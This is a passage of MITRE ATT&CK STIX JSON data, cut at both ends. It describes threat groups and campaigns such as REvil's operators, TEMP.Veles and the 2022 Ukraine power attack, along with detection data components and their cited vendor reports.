2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-03-28T17:37:05.814Z","name":"Cutting Edge","description":"[Cutting Edge](https://attack.mitre.org/campaigns/C0029) was a campaign conducted by suspected China-nexus espionage actors, variously identified as UNC5221/UTA0178 and UNC5325, that began as early as December 2023 with the exploitation of zero-day vulnerabilities in Ivanti Connect Secure (previously Pulse Secure) VPN appliances. [Cutting Edge](https://attack.mitre.org/campaigns/C0029) targeted the U.S. defense industrial base and multiple sectors globally including telecommunications, financial, aerospace, and technology. [Cutting Edge](https://attack.mitre.org/campaigns/C0029) featured the use of defense evasion and living-off-the-land (LoTL) techniques along with the deployment of web shells and other custom malware.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","aliases":["Cutting Edge"],"first_seen":"2023-12-01T05:00:00.000Z","last_seen":"2024-02-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","x_mitre_last_seen_citation":"(Citation: Mandiant Cutting Edge Part 3 February 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","created":"2024-03-01T18:21:04.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0029","external_id":"C0029"},{"source_name":"Volexity Ivanti Global Exploitation January 2024","description":"Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/"},{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Network Share Access","description":"Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)","x_mitre_data_source_ref":"x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-28T20:49:53.223Z","name":"GOLD SOUTHFIELD","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2018 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)","aliases":["GOLD SOUTHFIELD","Pinchy Spider"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Thijn Bukkems, Amazon"],"type":"intrusion-set","id":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","created":"2020-09-22T19:41:27.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0115","external_id":"G0115"},{"source_name":"Pinchy Spider","description":"(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)"},{"source_name":"Secureworks REvil September 2019","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"},{"source_name":"CrowdStrike Evolution of Pinchy Spider July 2021","description":"Meyers, Adam. (2021, July 6). The Evolution of PINCHY SPIDER from GandCrab to REvil. Retrieved March 28, 2023.","url":"https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/"},{"source_name":"Secureworks GandCrab and REvil September 2019","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection"},{"source_name":"Secureworks GOLD SOUTHFIELD","description":"Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020.","url":"https://www.secureworks.com/research/threat-profiles/gold-southfield"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Process Access","description":"Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Volatile Cedar","Lebanese Cedar"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","created":"2021-02-08T20:30:30.578Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0123","url":"https://attack.mitre.org/groups/G0123"},{"source_name":"Volatile Cedar","description":"(Citation: CheckPoint Volatile Cedar March 2015)"},{"source_name":"Lebanese Cedar","description":"(Citation: ClearSky Lebanese Cedar Jan 2021)"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)","modified":"2022-04-20T20:08:15.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Volatile Cedar","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Evilnum"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","type":"intrusion-set","created":"2021-01-22T16:46:17.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0120","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0120"},{"source_name":"Evilnum","description":"(Citation: ESET EvilNum July 2020)"},{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-04-27T19:55:58.323Z","name":"Evilnum","description":"[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Container Creation","description":"Initial construction of a new container (ex: docker create )","x_mitre_data_source_ref":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-26T22:11:36.315Z","name":"Sharpshooter","description":"Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)","aliases":["Sharpshooter"],"x_mitre_deprecated":true,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--5e78ae92-3ffd-4b16-bf62-e798529d73f1","created":"2020-05-14T21:40:31.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0104","external_id":"G0104"},{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-20T20:19:58.845Z","name":"Malware Content","description":"Code, strings, and other signatures that compromise a malicious payload","x_mitre_data_source_ref":"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"WMI Creation","description":"Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)","x_mitre_data_source_ref":"x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Image Metadata","description":"Contextual data about a virtual machine image such as name, resource group, state, or type","x_mitre_data_source_ref":"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Cleaver","Threat Group 2889","TG-2889"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","created":"2017-05-31T21:31:46.390Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"G0003","url":"https://attack.mitre.org/groups/G0003"},{"source_name":"Cleaver","description":"(Citation: Cylance Cleaver)"},{"source_name":"Threat Group 2889","description":"(Citation: Dell Threat Group 2889)"},{"source_name":"TG-2889","description":"(Citation: Dell Threat Group 2889)"},{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."},{"source_name":"Dell Threat Group 2889","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/","description":"Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)","modified":"2022-07-22T18:37:22.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cleaver","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T16:13:43.697Z","name":"TEMP.Veles","description":"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)","aliases":["TEMP.Veles","XENOTIME"],"x_mitre_deprecated":false,"x_mitre_version":"1.4","x_mitre_contributors":["Dragos Threat Intelligence"],"type":"intrusion-set","id":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","created":"2019-04-16T15:14:38.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0088","external_id":"G0088"},{"source_name":"TEMP.Veles","description":"(Citation: FireEye TRITON 2019)"},{"source_name":"Dragos Xenotime 2018","description":"Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.","url":"https://dragos.com/resource/xenotime/"},{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"},{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"},{"source_name":"FireEye TEMP.Veles JSON April 2019","description":"Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.","url":"https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html"},{"source_name":"Pylos Xenotime 2019","description":"Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.","url":"https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/"},{"source_name":"XENOTIME","description":"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind [TRITON](https://attack.mitre.org/software/S0609).(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T16:02:48.078Z","name":"2022 Ukraine Electric Power Attack","description":"The [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034) was a [Sandworm Team](https://attack.mitre.org/groups/G0034) campaign that used a combination of GOGETTER, Neo-REGEORG, [CaddyWiper](https://attack.mitre.org/software/S0693), and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.(Citation: Mandiant-Sandworm-Ukraine-2022)(Citation: Dragos-Sandworm-Ukraine-2022) ","aliases":["2022 Ukraine Electric Power Attack"],"first_seen":"2022-06-01T04:00:00.000Z","last_seen":"2022-10-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant-Sandworm-Ukraine-2022)","x_mitre_last_seen_citation":"(Citation: Mandiant-Sandworm-Ukraine-2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--df8eb785-70f8-4300-b444-277ba849083d","created":"2024-03-27T19:43:25.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0034","external_id":"C0034"},{"source_name":"Dragos-Sandworm-Ukraine-2022","description":"Dragos, Inc.. (2023, December 11). ELECTRUM Targeted Ukrainian Electric Entity Using Custom Tools and CaddyWiper Malware, October 2022. Retrieved March 28, 2024.","url":"https://www.dragos.com/blog/new-details-electrum-ukraine-electric-sector-compromise-2022/"},{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack","ics-attack"]},{"aliases":["DarkHydrus"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Skulkin, Group-IB"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0079","external_id":"G0079"},{"source_name":"DarkHydrus","description":"(Citation: Unit 42 DarkHydrus July 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2021-10-12T19:52:22.454Z","name":"DarkHydrus","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"User Account Creation","description":"Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Stop","description":"Deactivation or stoppage of an instance (ex: instance.stop within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:43:09.698Z","name":"Whitefly","description":"[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)","aliases":["Whitefly"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","type":"intrusion-set","id":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","created":"2020-05-26T16:55:09.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0107","external_id":"G0107"},{"source_name":"Symantec Whitefly March 2019","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.805Z","name":"File Deletion","description":"Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Silent Librarian","TA407","COBALT DICKENS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","type":"intrusion-set","created":"2021-02-03T16:36:38.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0122","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0122"},{"source_name":"TA407","description":"(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"},{"source_name":"COBALT DICKENS","description":"(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"},{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."},{"source_name":"Phish Labs Silent Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS August 2018","url":"https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities","description":"Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."}],"modified":"2021-04-21T12:02:00.278Z","name":"Silent Librarian","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 